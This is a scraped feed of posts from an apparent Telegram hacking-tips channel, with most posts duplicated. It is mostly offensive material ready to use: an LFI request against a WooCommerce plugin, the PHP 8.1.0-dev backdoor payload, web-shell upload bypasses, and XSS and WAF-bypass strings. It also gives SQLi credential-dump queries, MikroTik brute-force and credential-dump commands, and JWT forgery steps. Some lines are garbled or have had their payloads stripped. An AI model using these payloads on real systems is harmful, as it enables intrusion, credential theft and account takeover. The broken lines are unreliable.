🚨 WooCommerce Plugin LFI Vulnerability 🚨
A critical Local File Inclusion (LFI) vulnerability has been discovered in the WooCommerce plugin, allowing attackers to read sensitive files on the server!
🔍 Exploit Steps:
1️⃣ Capture the request in Burp Suite.
2️⃣ Change the request method to POST and modify the request URL as follows:
3️⃣ Add the following parameter to the body:
4️⃣ Send the request and retrieve local files from the target server!
🚀 Impact:
🔸Access sensitive system files
🔸Potential privilege escalation
🔸Further exploitation leading to full system compromise
⚠️ If you're using WooCommerce, update immediately and ensure proper input sanitization!
📢 Join my Telegram for more cybersecurity content: @cybersecplayground
#BugBounty #CyberSecurity #WooCommerce #WordPress #LFI #Exploit #EthicalHacking
A critical Local File Inclusion (LFI) vulnerability has been discovered in the WooCommerce plugin, allowing attackers to read sensitive files on the server!
🔍 Exploit Steps:
1️⃣ Capture the request in Burp Suite.
2️⃣ Change the request method to POST and modify the request URL as follows:
POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1
3️⃣ Add the following parameter to the body:
action=woof_text_search&
4️⃣ Send the request and retrieve local files from the target server!
🚀 Impact:
🔸Access sensitive system files
🔸Potential privilege escalation
🔸Further exploitation leading to full system compromise
⚠️ If you're using WooCommerce, update immediately and ensure proper input sanitization!
📢 Join my Telegram for more cybersecurity content: @cybersecplayground
#BugBounty #CyberSecurity #WooCommerce #WordPress #LFI #Exploit #EthicalHacking
👍3❤2💊2
🚨 Bug Bounty Tip: Test for Host Header Attacks! 🚨
Many web applications blindly trust the Host header, making them vulnerable to serious security flaws like:
⚠️ Password Reset Poisoning – Manipulating password reset links to redirect victims to an attacker-controlled domain! 🔥
⚠️ Cache Poisoning – Poisoning the CDN or web cache by injecting malicious Host headers, serving fake content! 🎭
⚠️ SSRF & Internal Service Access – Redirecting requests to internal services by changing the Host to 127.0.0.1 or internal IPs! 🌐
🔹 How to Test?
1️⃣ Intercept a request in Burp Suite.
2️⃣ Modify the Host header to a different domain, localhost, or an attacker-controlled server.
3️⃣ Analyze the response to see if the application processes the modified header!
💡 Pro Tip: Check for applications that generate absolute URLs dynamically—these are often vulnerable!
⚠️ Always test responsibly and report bugs ethically! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, hacking tricks, and private tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #Hacking #EthicalHacking #Pentesting #InfoSec #SSRF #CachePoisoning #CyberSecPlayground
Many web applications blindly trust the Host header, making them vulnerable to serious security flaws like:
⚠️ Password Reset Poisoning – Manipulating password reset links to redirect victims to an attacker-controlled domain! 🔥
⚠️ Cache Poisoning – Poisoning the CDN or web cache by injecting malicious Host headers, serving fake content! 🎭
⚠️ SSRF & Internal Service Access – Redirecting requests to internal services by changing the Host to 127.0.0.1 or internal IPs! 🌐
🔹 How to Test?
1️⃣ Intercept a request in Burp Suite.
2️⃣ Modify the Host header to a different domain, localhost, or an attacker-controlled server.
3️⃣ Analyze the response to see if the application processes the modified header!
💡 Pro Tip: Check for applications that generate absolute URLs dynamically—these are often vulnerable!
⚠️ Always test responsibly and report bugs ethically! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, hacking tricks, and private tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #Hacking #EthicalHacking #Pentesting #InfoSec #SSRF #CachePoisoning #CyberSecPlayground
❤4
🚀 Bypassing File Upload Restrictions: Exploiting Extension Blacklists Like a Pro! 🔥
🛠 Bypassing File Extension Exclusion Lists in Web Applications
Many web applications implement security measures that block the upload of potentially dangerous file types, such as .php or .jsp. However, attackers and penetration testers often find ways to bypass these restrictions by using alternative file extensions or exploiting misconfigurations in the system.
🧐 Why Does This Work?
- Incomplete Blacklists – Some web applications only block .php but forget other PHP-related extensions like .phtml or .php7.
- MIME Type Validation Issues – Some applications only check the MIME type, which can be spoofed.
- Misconfigured Web Servers – Web servers like Apache and Nginx may still execute certain alternate file extensions as code.
- Double Extensions – Some apps fail to properly filter filenames like shell.php.jpg, which may still execute if uploaded and accessed a certain way.
🔥 Extension Variations for Different Technologies
🔹 PHP File Extensions (For Bypassing PHP Filters)
✔️
✔️
✔️
✔️
🔹 ASP.NET File Extensions (For Windows/IIS Servers)
✔️
✔️
✔️
🔹 Java File Extensions (For JSP-based Servers)
✔️
✔️
✔️
🔹 Other Extensions to Try
✔️
✔️
✔️
✔️
🛠 Exploit Techniques
🔹 Case Sensitivity – Some filters only block .php but allow .PHP
🔹 Double Extensions – shell.php.jpg might bypass restrictions but still execute if accessed in a certain way
🔹 Null Byte Injection – Some applications fail to properly handle %00, allowing uploads like shell.php%00.jpg
🔹 MIME Spoofing – Changing the Content-Type to image/jpeg might allow execution if validated poorly
💡 Practical Example
Let’s say an upload filter blocks .php, but the server still executes .phtml. You could try renaming your payload:
🚀 Original file:
🔄 Bypassed file:
If the web server processes
⚠️ How to Protect Against This?
✅ Use a whitelist approach (only allow specific safe extensions like .jpg, .png, etc.)
✅ Check both extension and MIME type (don’t rely on one method alone)
✅ Deny execution in upload directories (configure web server rules to prevent execution)
✅ Sanitize filenames properly (remove special characters and prevent double extensions)
📢 Join @cybersecplayground for more bug bounty tips, hacking techniques, and security insights! 🚀💀
🛠 Bypassing File Extension Exclusion Lists in Web Applications
Many web applications implement security measures that block the upload of potentially dangerous file types, such as .php or .jsp. However, attackers and penetration testers often find ways to bypass these restrictions by using alternative file extensions or exploiting misconfigurations in the system.
🧐 Why Does This Work?
- Incomplete Blacklists – Some web applications only block .php but forget other PHP-related extensions like .phtml or .php7.
- MIME Type Validation Issues – Some applications only check the MIME type, which can be spoofed.
- Misconfigured Web Servers – Web servers like Apache and Nginx may still execute certain alternate file extensions as code.
- Double Extensions – Some apps fail to properly filter filenames like shell.php.jpg, which may still execute if uploaded and accessed a certain way.
🔥 Extension Variations for Different Technologies
🔹 PHP File Extensions (For Bypassing PHP Filters)
✔️
.phtml – PHP interprets it as a valid script✔️
.php2, .php5, .php7 – Older/newer PHP versions may process these✔️
.phar – PHP Archive, sometimes executed as PHP✔️
.inc – Intended for include files, but still processed as PHP in some setups🔹 ASP.NET File Extensions (For Windows/IIS Servers)
✔️
.asp, .aspx – Classic and modern ASP.NET✔️
.ashx, .asmx – Web handlers that may execute code✔️
.cshtml, .vbhtml – Razor pages that execute server-side🔹 Java File Extensions (For JSP-based Servers)
✔️
.jsp, .jspx – JavaServer Pages, executed by Tomcat✔️
.jsw, .jsv, .jspf – Alternative JSP formats✔️
.action, .do – Used in Java-based frameworks like Struts🔹 Other Extensions to Try
✔️
.svg – Some applications allow SVG uploads, which can include JavaScript payloads✔️
.html, .cgi – Might be interpreted as executable content in some configurations✔️
.htaccess – Can be used to override settings and enable execution of certain files✔️
.cfm – ColdFusion scripts, which may be processed if the server supports it🛠 Exploit Techniques
🔹 Case Sensitivity – Some filters only block .php but allow .PHP
🔹 Double Extensions – shell.php.jpg might bypass restrictions but still execute if accessed in a certain way
🔹 Null Byte Injection – Some applications fail to properly handle %00, allowing uploads like shell.php%00.jpg
🔹 MIME Spoofing – Changing the Content-Type to image/jpeg might allow execution if validated poorly
💡 Practical Example
Let’s say an upload filter blocks .php, but the server still executes .phtml. You could try renaming your payload:
🚀 Original file:
shell.php🔄 Bypassed file:
shell.phtmlIf the web server processes
.phtml as PHP, your shell will still execute!⚠️ How to Protect Against This?
✅ Use a whitelist approach (only allow specific safe extensions like .jpg, .png, etc.)
✅ Check both extension and MIME type (don’t rely on one method alone)
✅ Deny execution in upload directories (configure web server rules to prevent execution)
✅ Sanitize filenames properly (remove special characters and prevent double extensions)
📢 Join @cybersecplayground for more bug bounty tips, hacking techniques, and security insights! 🚀💀
⚡2❤1
🚀 PHP 8.1.0-dev Exploit: RCE & SQLi Attack Vectors! 🔥
If you encounter PHP 8.1.0-dev, it's time to test for Remote Code Execution (RCE) and SQL Injection (SQLi)!
🔹 Try These Payloads:
📌
📌
💀 This could lead to full system compromise!
🔍 Stay ahead in bug bounty hunting!
🔗 Join our Telegram for more exploits & tips: @cybersecplayground
#bugbountytips #infosec #bugbounty #hacking #cybersecurity
If you encounter PHP 8.1.0-dev, it's time to test for Remote Code Execution (RCE) and SQL Injection (SQLi)!
🔹 Try These Payloads:
📌
User-Agentt: zerodiumsleep(5);📌
User-Agentt: zerodiumsystem('id');
💀 This could lead to full system compromise!
🔍 Stay ahead in bug bounty hunting!
🔗 Join our Telegram for more exploits & tips: @cybersecplayground
#bugbountytips #infosec #bugbounty #hacking #cybersecurity
💊4🔥3
🔥 Hacking Tips for MikroTik & Network Exploitation 🔥
1️⃣ 🕵️ Find Exposed MikroTik Routers
• Use Shodan, Censys, or Zoomeye with queries like:
Target older versions (e.g., v6.48.6 or below) since they often have unpatched vulnerabilities.
2️⃣ 📡 Exploit WebFig Misconfigurations
• Try accessing hidden admin panels using:
• If authentication is required, test for default credentials:
3️⃣ 🎭 Bypass Login with Cookie Manipulation
• Use Burp Suite or Tamper Data to check for:
• Session hijacking possibilities
• Weak cookie validation
• Missing authentication headers
4️⃣ 🛠 Exploit Winbox to Dump User Credentials
• Older versions are vulnerable to Winbox Exploit to dump credentials:
• Check if the MikroTik Dude service is exposed on port 8291 for remote access vulnerabilities.
5️⃣ 🔑 Bruteforce SSH/Telnet Login
• If SSH or Telnet is open, try bruteforcing credentials with:
6️⃣ 💣 Check for Exploits in CVE Databases
• Search for public MikroTik vulnerabilities on:
• Exploit-DB (searchsploit mikrotik)
• CVE databases (CVE-2023-XXXX)
• GitHub POCs (MikroTik exploit)
7️⃣ 🌐 Pivot Through the Network
• Once inside, scan for internal assets:
• Try man-in-the-middle attacks (MITM) on internal users using ettercap or MITMf.
⸻
⚠️ For educational purposes only! Always test responsibly and report vulnerabilities ethically! ⚠️
🚀 Join @CyberSecPlayground for more hacking techniques, private tools, and bug bounty tips!
🔗 Join Now
📢 #BugBounty #CyberSecurity #Hacking #MikroTik #Pentesting #InfoSec #EthicalHacking #CyberSecPlayground
1️⃣ 🕵️ Find Exposed MikroTik Routers
• Use Shodan, Censys, or Zoomeye with queries like:
title:"MikroTik RouterOS"
http.favicon.hash:116323821
Target older versions (e.g., v6.48.6 or below) since they often have unpatched vulnerabilities.
2️⃣ 📡 Exploit WebFig Misconfigurations
• Try accessing hidden admin panels using:
http://<target-ip>/webfig/#Quick_Set
http://<target-ip>/webfig/#Interfaces
• If authentication is required, test for default credentials:
admin / (blank)
admin / admin
admin / password
3️⃣ 🎭 Bypass Login with Cookie Manipulation
• Use Burp Suite or Tamper Data to check for:
• Session hijacking possibilities
• Weak cookie validation
• Missing authentication headers
4️⃣ 🛠 Exploit Winbox to Dump User Credentials
• Older versions are vulnerable to Winbox Exploit to dump credentials:
python winbox-exploit.py -t <target-ip>
• Check if the MikroTik Dude service is exposed on port 8291 for remote access vulnerabilities.
5️⃣ 🔑 Bruteforce SSH/Telnet Login
• If SSH or Telnet is open, try bruteforcing credentials with:
hydra -l admin -P rockyou.txt ssh://<target-ip>
medusa -h <target-ip> -u admin -P passlist.txt -M ssh
6️⃣ 💣 Check for Exploits in CVE Databases
• Search for public MikroTik vulnerabilities on:
• Exploit-DB (searchsploit mikrotik)
• CVE databases (CVE-2023-XXXX)
• GitHub POCs (MikroTik exploit)
7️⃣ 🌐 Pivot Through the Network
• Once inside, scan for internal assets:
nmap -sP 192.168.1.0/24
• Try man-in-the-middle attacks (MITM) on internal users using ettercap or MITMf.
⸻
⚠️ For educational purposes only! Always test responsibly and report vulnerabilities ethically! ⚠️
🚀 Join @CyberSecPlayground for more hacking techniques, private tools, and bug bounty tips!
🔗 Join Now
📢 #BugBounty #CyberSecurity #Hacking #MikroTik #Pentesting #InfoSec #EthicalHacking #CyberSecPlayground
❤4💊2
🚨 Bug Bounty Tip: DOM-Based XSS + Cloudflare Bypass! 🚨
🔥 DOM-based XSS vulnerabilities allow attackers to inject malicious scripts that run in the client’s browser. Here’s how you can exploit it while bypassing Cloudflare defenses!
🔹 Payload Example:
💡 What this does:
• Triggers XSS: It uses an onerror event handler to execute malicious JavaScript.
• Bypass Cloudflare: By encoding the payload and using JavaScript: URIs, this avoids some of the standard web application firewalls (WAFs) and Cloudflare protections.
🔹 Steps to Test:
1️⃣ Intercept the request using Burp Suite or Browser Dev Tools.
2️⃣ Inject the payload in fields that allow input (e.g., URL params, search fields, or forms).
3️⃣ Trigger the script: Look for any reflection of the payload in the response.
🔍 Why this works:
• Cloudflare bypass: Encoded JavaScript payloads may evade basic firewall rules.
• DOM XSS: The payload is executed in the browser, reflecting a malicious script injected into dynamic elements (JavaScript-based).
💡 Pro Tip:
• Try URL encoding or base64 encoding to bypass more sophisticated filters.
⚠️ For educational purposes only. Always test ethically! ⚠️
🚀 Join @CyberSecPlayground for more XSS tips, hacking techniques, and private tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #XSS #CloudflareBypass #Pentesting #InfoSec #CyberSecPlayground
🔥 DOM-based XSS vulnerabilities allow attackers to inject malicious scripts that run in the client’s browser. Here’s how you can exploit it while bypassing Cloudflare defenses!
🔹 Payload Example:
javascript:var{a:onerror}={a:%2561lert};throw%20origin💡 What this does:
• Triggers XSS: It uses an onerror event handler to execute malicious JavaScript.
• Bypass Cloudflare: By encoding the payload and using JavaScript: URIs, this avoids some of the standard web application firewalls (WAFs) and Cloudflare protections.
🔹 Steps to Test:
1️⃣ Intercept the request using Burp Suite or Browser Dev Tools.
2️⃣ Inject the payload in fields that allow input (e.g., URL params, search fields, or forms).
3️⃣ Trigger the script: Look for any reflection of the payload in the response.
🔍 Why this works:
• Cloudflare bypass: Encoded JavaScript payloads may evade basic firewall rules.
• DOM XSS: The payload is executed in the browser, reflecting a malicious script injected into dynamic elements (JavaScript-based).
💡 Pro Tip:
• Try URL encoding or base64 encoding to bypass more sophisticated filters.
⚠️ For educational purposes only. Always test ethically! ⚠️
🚀 Join @CyberSecPlayground for more XSS tips, hacking techniques, and private tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #XSS #CloudflareBypass #Pentesting #InfoSec #CyberSecPlayground
❤5👍2💊2
🚨 Bug Bounty Tip: HTTP Downgrading Attack! 🚨
🔍 What is HTTP Downgrading?
• HTTP/2 is now the standard for most modern web applications, but many backend servers still use HTTP/1.1. This mismatch between frontend and backend can lead to parsing issues and open doors to certain attacks.
HTTP Downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2. Why?
⚡ Why Use HTTP Downgrading?
• Exploit HTTP/1.1 parsing vulnerabilities, such as Content-Length Transfer-Encoding (CL.TE) attacks.
• This allows you to manipulate how the frontend and backend servers interpret requests, often bypassing security checks!
💡 How Does It Work?
1️⃣ Open Burp Suite and go to Proxy → HTTP History.
2️⃣ Locate the request that is currently using HTTP/2.
3️⃣ Send it to Repeater.
4️⃣ In the Repeater tab, open the Inspector panel → Request Attributes → Protocol.
5️⃣ Change the HTTP version to HTTP/1.1.
6️⃣ Click “Send” in Repeater.
✅ If successful, you should get a valid response confirming that the backend server accepts HTTP/1.1!
⸻
💥 Pro Tip: Once the request is downgraded, try exploiting CL.TE vulnerabilities for advanced attacks like Response Splitting or Request Smuggling.
⚠️ For educational purposes only. Always test ethically! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, advanced attack techniques, and exclusive tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #HTTPDowngrading #HTTP2 #Pentesting #InfoSec #CyberSecPlayground
🔍 What is HTTP Downgrading?
• HTTP/2 is now the standard for most modern web applications, but many backend servers still use HTTP/1.1. This mismatch between frontend and backend can lead to parsing issues and open doors to certain attacks.
HTTP Downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2. Why?
⚡ Why Use HTTP Downgrading?
• Exploit HTTP/1.1 parsing vulnerabilities, such as Content-Length Transfer-Encoding (CL.TE) attacks.
• This allows you to manipulate how the frontend and backend servers interpret requests, often bypassing security checks!
💡 How Does It Work?
1️⃣ Open Burp Suite and go to Proxy → HTTP History.
2️⃣ Locate the request that is currently using HTTP/2.
3️⃣ Send it to Repeater.
4️⃣ In the Repeater tab, open the Inspector panel → Request Attributes → Protocol.
5️⃣ Change the HTTP version to HTTP/1.1.
6️⃣ Click “Send” in Repeater.
✅ If successful, you should get a valid response confirming that the backend server accepts HTTP/1.1!
⸻
💥 Pro Tip: Once the request is downgraded, try exploiting CL.TE vulnerabilities for advanced attacks like Response Splitting or Request Smuggling.
⚠️ For educational purposes only. Always test ethically! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, advanced attack techniques, and exclusive tools!
🔗 Join Now
📢 #BugBounty #CyberSecurity #HTTPDowngrading #HTTP2 #Pentesting #InfoSec #CyberSecPlayground
❤4💊2
🚨 CVE-2025-29927: Next.js Middleware Bypass Vulnerability 🚨
⚠️ A serious vulnerability in Next.js Middleware allows attackers to bypass security mechanisms and exploit vulnerable systems, affecting millions of users!
🔹 Proof of Concept (PoC):
🔥 PoC Repository:
• CVE-2025-29927
🎯 Over 5 Million Results found on FOFA over the last year!
Queries:
• HUNTER:
• FOFA:
• SHODAN:
🔖 For More Information:
📖
CVE-2025-29927 Blog Post
⸻
💥 Pro Tip: Check your Next.js applications for any unpatched versions of Middleware that could be vulnerable to this bypass!
⚠️ For educational purposes only. Always test responsibly! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, vulnerability details, and exclusive tools!
🔗 Join Now
📢 #OSINT #FOFA #CyberSecurity #Vulnerability #CVE2025 #BugBounty #NextJS #CyberSecPlayground
⚠️ A serious vulnerability in Next.js Middleware allows attackers to bypass security mechanisms and exploit vulnerable systems, affecting millions of users!
🔹 Proof of Concept (PoC):
🔥 PoC Repository:
• CVE-2025-29927
🎯 Over 5 Million Results found on FOFA over the last year!
Queries:
• HUNTER:
product.name="Next.js"
• FOFA:
product="NEXT.JS"
• SHODAN:
Next.js
🔖 For More Information:
📖
CVE-2025-29927 Blog Post
⸻
💥 Pro Tip: Check your Next.js applications for any unpatched versions of Middleware that could be vulnerable to this bypass!
⚠️ For educational purposes only. Always test responsibly! ⚠️
🚀 Join @CyberSecPlayground for more bug bounty tips, vulnerability details, and exclusive tools!
🔗 Join Now
📢 #OSINT #FOFA #CyberSecurity #Vulnerability #CVE2025 #BugBounty #NextJS #CyberSecPlayground
❤4
🚀 Bug Bounty Tip: Directory Traversal Attack! 🚀
A vulnerable file path can expose sensitive system files & source code, leading to critical data leaks! 🔥
✅ How to Test for Directory Traversal?
🔹 Modify file paths:
🔹 Try encoded payloads to bypass filters:
🔹 Test API endpoints for improper file handling.
🔹 Hunt for backup files:
💥 Why it matters?
Exploiting directory traversal can reveal passwords, server configs, and source code, leading to full system compromise! 🚨
⚠️ Always test responsibly and report vulnerabilities ethically! ⚠️
🚀 Join @CyberSecPlayground for more hacking tips, bug bounty techniques, and private tools!
🔗 Join Now
📢 #BugBounty #WebSecurity #EthicalHacking #CyberSecurity #Pentesting #CyberSecPlayground
A vulnerable file path can expose sensitive system files & source code, leading to critical data leaks! 🔥
✅ How to Test for Directory Traversal?
🔹 Modify file paths:
/download?file=../../../../etc/passwd
🔹 Try encoded payloads to bypass filters:
..%2f..%2f..%2fetc/passwd
🔹 Test API endpoints for improper file handling.
🔹 Hunt for backup files:
/backup.zip, /old/, /.git/, /.env
💥 Why it matters?
Exploiting directory traversal can reveal passwords, server configs, and source code, leading to full system compromise! 🚨
⚠️ Always test responsibly and report vulnerabilities ethically! ⚠️
🚀 Join @CyberSecPlayground for more hacking tips, bug bounty techniques, and private tools!
🔗 Join Now
📢 #BugBounty #WebSecurity #EthicalHacking #CyberSecurity #Pentesting #CyberSecPlayground
🔥5
🚀 Google Dorks for Bug Bounty & Web Security! 🔍
A powerful list of Google Dorks to uncover hidden files, API endpoints, server errors, and more for pentesting & bug bounty hunting! 🎯
🔗 Live Tool for Google Dorks
🔥 Broad Domain Search (Exclude Common Subdomains)
🔥 PHP Files with Parameters
🔥 API Endpoints Discovery
🔥 Juicy Extensions (Sensitive Files)
🔥 High-Value InURL Keywords
🔥 Finding Server Errors
💥 Master these dorks to find misconfigurations, sensitive data leaks, and security flaws!
⚠️ Use responsibly and ethically!
🚀 Join @CyberSecPlayground for more hacking tips, private tools, and exploit techniques!
🔗 Join Now
📢 #BugBounty #GoogleDorks #OSINT #EthicalHacking #Pentesting #CyberSecurity #CyberSecPlayground
A powerful list of Google Dorks to uncover hidden files, API endpoints, server errors, and more for pentesting & bug bounty hunting! 🎯
🔗 Live Tool for Google Dorks
🔥 Broad Domain Search (Exclude Common Subdomains)
site:example.com -www -shop -share -ir -mfa
🔥 PHP Files with Parameters
site:example.com ext:php inurl:?
🔥 API Endpoints Discovery
site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3
🔥 Juicy Extensions (Sensitive Files)
site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json
🔥 High-Value InURL Keywords
inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com
🔥 Finding Server Errors
inurl:"error" | intitle:"exception" | intitle:"failure" | intitle:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com
💥 Master these dorks to find misconfigurations, sensitive data leaks, and security flaws!
⚠️ Use responsibly and ethically!
🚀 Join @CyberSecPlayground for more hacking tips, private tools, and exploit techniques!
🔗 Join Now
📢 #BugBounty #GoogleDorks #OSINT #EthicalHacking #Pentesting #CyberSecurity #CyberSecPlayground
🔥4💊1
🔍 Bug Bounty Tip: Master SQL Injection (SQLi) Attacks!
SQL Injection allows attackers to manipulate databases, bypass authentication, and extract sensitive data! 🚨
✅ How to Identify SQL Injection?
✅ Look for user input fields that interact with the database:
• Login forms
• Search bars
• URL parameters (id=1, product=10)
• Cookies
• Headers (User-Agent, Referer)
✅ Inject a simple payload to check for errors:
If the app logs in without a valid username/password, it’s vulnerable! 🎯
🔥 Exploitation Techniques
1️⃣ Authentication Bypass
🔹 Bypass login using SQLi:
🔹 Test for comment-based injections:
2️⃣ Extracting Database Information
🔹 Find the number of columns:
🔹 Find database version:
🔹 Find database name:
🔹 Find available tables (MySQL):
🔹 Find available columns in a table:
3️⃣ Extracting Credentials
🔹 Dump user credentials (MySQL example):
🔹 If passwords are hashed (MD5, SHA-1, etc.), crack them using hashcat or online tools.
4️⃣ Error-Based SQL Injection
Sometimes, error messages leak database information:
If an error appears, it confirms SQL Injection is possible! 🎯
5️⃣ Blind SQL Injection (Boolean-Based & Time-Based)
When no errors appear, test using time delays:
If the response is delayed, the database executes SQL Injection successfully!
🛡️ Preventing SQL Injection
⚠️ Developers should use parameterized queries (prepared statements) to avoid SQL Injection vulnerabilities.
Example (Safe Query in Python):
🚀 Join @CyberSecPlayground for more advanced hacking techniques, bug bounty tips, and private tools!
🔗 Join Now
📢 #BugBounty #SQLi #Pentesting #CyberSecurity #EthicalHacking #CyberSecPlayground
SQL Injection allows attackers to manipulate databases, bypass authentication, and extract sensitive data! 🚨
✅ How to Identify SQL Injection?
✅ Look for user input fields that interact with the database:
• Login forms
• Search bars
• URL parameters (id=1, product=10)
• Cookies
• Headers (User-Agent, Referer)
✅ Inject a simple payload to check for errors:
' OR '1'='1
If the app logs in without a valid username/password, it’s vulnerable! 🎯
🔥 Exploitation Techniques
1️⃣ Authentication Bypass
🔹 Bypass login using SQLi:
admin' --
' OR '1'='1' --
" OR "1"="1" --
' OR 1=1#
🔹 Test for comment-based injections:
' OR 1=1--
' OR 1=1#
' OR 1=1/*
2️⃣ Extracting Database Information
🔹 Find the number of columns:
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-- (Increase number until error occurs)
🔹 Find database version:
' UNION SELECT NULL, @@version--
🔹 Find database name:
' UNION SELECT NULL, database()--
🔹 Find available tables (MySQL):
Stable_schema=database()--
🔹 Find available columns in a table:
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
3️⃣ Extracting Credentials
🔹 Dump user credentials (MySQL example):
' UNION SELECT username, password FROM users--
🔹 If passwords are hashed (MD5, SHA-1, etc.), crack them using hashcat or online tools.
4️⃣ Error-Based SQL Injection
Sometimes, error messages leak database information:
' AND 1=CONVERT(int, @@version)--
If an error appears, it confirms SQL Injection is possible! 🎯
5️⃣ Blind SQL Injection (Boolean-Based & Time-Based)
When no errors appear, test using time delays:
' OR IF(1=1, SLEEP(5), 0)--
If the response is delayed, the database executes SQL Injection successfully!
🛡️ Preventing SQL Injection
⚠️ Developers should use parameterized queries (prepared statements) to avoid SQL Injection vulnerabilities.
Example (Safe Query in Python):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))💥 SQL Injection can lead to full database dumps, password leaks, and account takeovers! Always test responsibly and report vulnerabilities ethically! ⚠️
🚀 Join @CyberSecPlayground for more advanced hacking techniques, bug bounty tips, and private tools!
🔗 Join Now
📢 #BugBounty #SQLi #Pentesting #CyberSecurity #EthicalHacking #CyberSecPlayground
🔥3💊2
🚨 Reflected XSS (RXSS) Vulnerability Found! 🚨
🔍 Bug Type: RXSS (Reflected Cross-Site Scripting)
💥 Payload:
🖥 Vulnerable Endpoint:
⚡️ Impact:
⚠️Inject arbitrary JavaScript into the page
⚠️Execute malicious scripts on a victim’s browser
⚠️Steal session cookies & sensitive user data
💡 Mitigation:
✅ Implement proper input validation & output encoding
✅ Use Content Security Policy (CSP)
✅ Sanitize user input before rendering in HTML
🔗 Stay updated on more security findings: @cybersecplayground
#infosec #bugbounty #XSS #bugbountytips #cybersecurity #ethicalhacking
🔍 Bug Type: RXSS (Reflected Cross-Site Scripting)
💥 Payload:
1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E
🖥 Vulnerable Endpoint:
https://example.com/login?error=1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E
⚡️ Impact:
⚠️Inject arbitrary JavaScript into the page
⚠️Execute malicious scripts on a victim’s browser
⚠️Steal session cookies & sensitive user data
💡 Mitigation:
✅ Implement proper input validation & output encoding
✅ Use Content Security Policy (CSP)
✅ Sanitize user input before rendering in HTML
🔗 Stay updated on more security findings: @cybersecplayground
#infosec #bugbounty #XSS #bugbountytips #cybersecurity #ethicalhacking
🔥3💊1
🚨 CVE-2025-30208: Vite Development Server Arbitrary File Read 🚨
🔍 Vulnerability: Arbitrary file read in Vite development server
⚠️ Risk Level: High
📊 Affected Services: 277K+ instances found yearly on hunter.how
🛠 PoC & Exploit:
🔥 PoC: GitHub Advisory
🔗 Search Queries for Detection:
Hunter:
FOFA:
Shodan:
📰 More Details:
RedPacketSecurity
🔒 Mitigation:
✅ Upgrade to the latest patched version of Vite
✅ Restrict access to development servers
✅ Monitor for unauthorized file access
🔗 Stay ahead in cybersecurity: @cybersecplayground
#VITE #infosec #OSINT #CyberSecurity #BugBounty #CVE
🔍 Vulnerability: Arbitrary file read in Vite development server
⚠️ Risk Level: High
📊 Affected Services: 277K+ instances found yearly on hunter.how
🛠 PoC & Exploit:
🔥 PoC: GitHub Advisory
🔗 Search Queries for Detection:
Hunter:
product.name="Vite"FOFA:
body="/@vite/client"Shodan:
http.html:"/@vite/client"📰 More Details:
RedPacketSecurity
🔒 Mitigation:
✅ Upgrade to the latest patched version of Vite
✅ Restrict access to development servers
✅ Monitor for unauthorized file access
🔗 Stay ahead in cybersecurity: @cybersecplayground
#VITE #infosec #OSINT #CyberSecurity #BugBounty #CVE
🔥2💊2
🚨 Advanced Bug Bounty Tip: Exploiting JWT Algorithm Confusion for Signature Bypass! 🚨
JWT misconfigurations can allow attackers to bypass token validation and gain admin access without credentials! 🔥
✅ How to Test for JWT Algorithm Confusion?
🔹 Downgrade the algorithm to “none” and remove the signature:
This can forge tokens and bypass the signature verification, giving attackers full control! 🚨
🔹 If RS256 is used, switch to HS256 and sign the token using the public key:
• Test by signing the token with the public key and submitting it to the app.
• This can lead to signature validation bypass and full access to the app.
🔹 Inject a custom “kid” parameter to extract sensitive information:
This might expose sensitive files if the kid is not properly sanitized! 💥
🔹 Test for weak HMAC secrets:
Use hashcat with JWT HMAC cracking mode:
If the HMAC secret is weak, you can crack the secret and forge valid tokens!
💡 Why This Matters:
JWT misconfigurations allow account takeover without needing valid credentials. Admin access can be gained without authentication, leading to serious security breaches!
⚠️ For educational purposes only. Always test ethically and responsibly! ⚠️
🚀 Join @CyberSecPlayground for more advanced bug bounty tips, JWT exploit techniques, and private tools!
🔗 Join Now
📢 #BugBounty #JWT #Security #Exploit #AlgorithmConfusion #HMAC #EthicalHacking #CyberSecPlayground
JWT misconfigurations can allow attackers to bypass token validation and gain admin access without credentials! 🔥
✅ How to Test for JWT Algorithm Confusion?
🔹 Downgrade the algorithm to “none” and remove the signature:
Change "alg": "HS256" → "alg": "none" & remove the signature
This can forge tokens and bypass the signature verification, giving attackers full control! 🚨
🔹 If RS256 is used, switch to HS256 and sign the token using the public key:
• Test by signing the token with the public key and submitting it to the app.
• This can lead to signature validation bypass and full access to the app.
🔹 Inject a custom “kid” parameter to extract sensitive information:
"kid": "/etc/passwd"
This might expose sensitive files if the kid is not properly sanitized! 💥
🔹 Test for weak HMAC secrets:
Use hashcat with JWT HMAC cracking mode:
hashcat -m 16500 JWT.txt rockyou.txt
If the HMAC secret is weak, you can crack the secret and forge valid tokens!
💡 Why This Matters:
JWT misconfigurations allow account takeover without needing valid credentials. Admin access can be gained without authentication, leading to serious security breaches!
⚠️ For educational purposes only. Always test ethically and responsibly! ⚠️
🚀 Join @CyberSecPlayground for more advanced bug bounty tips, JWT exploit techniques, and private tools!
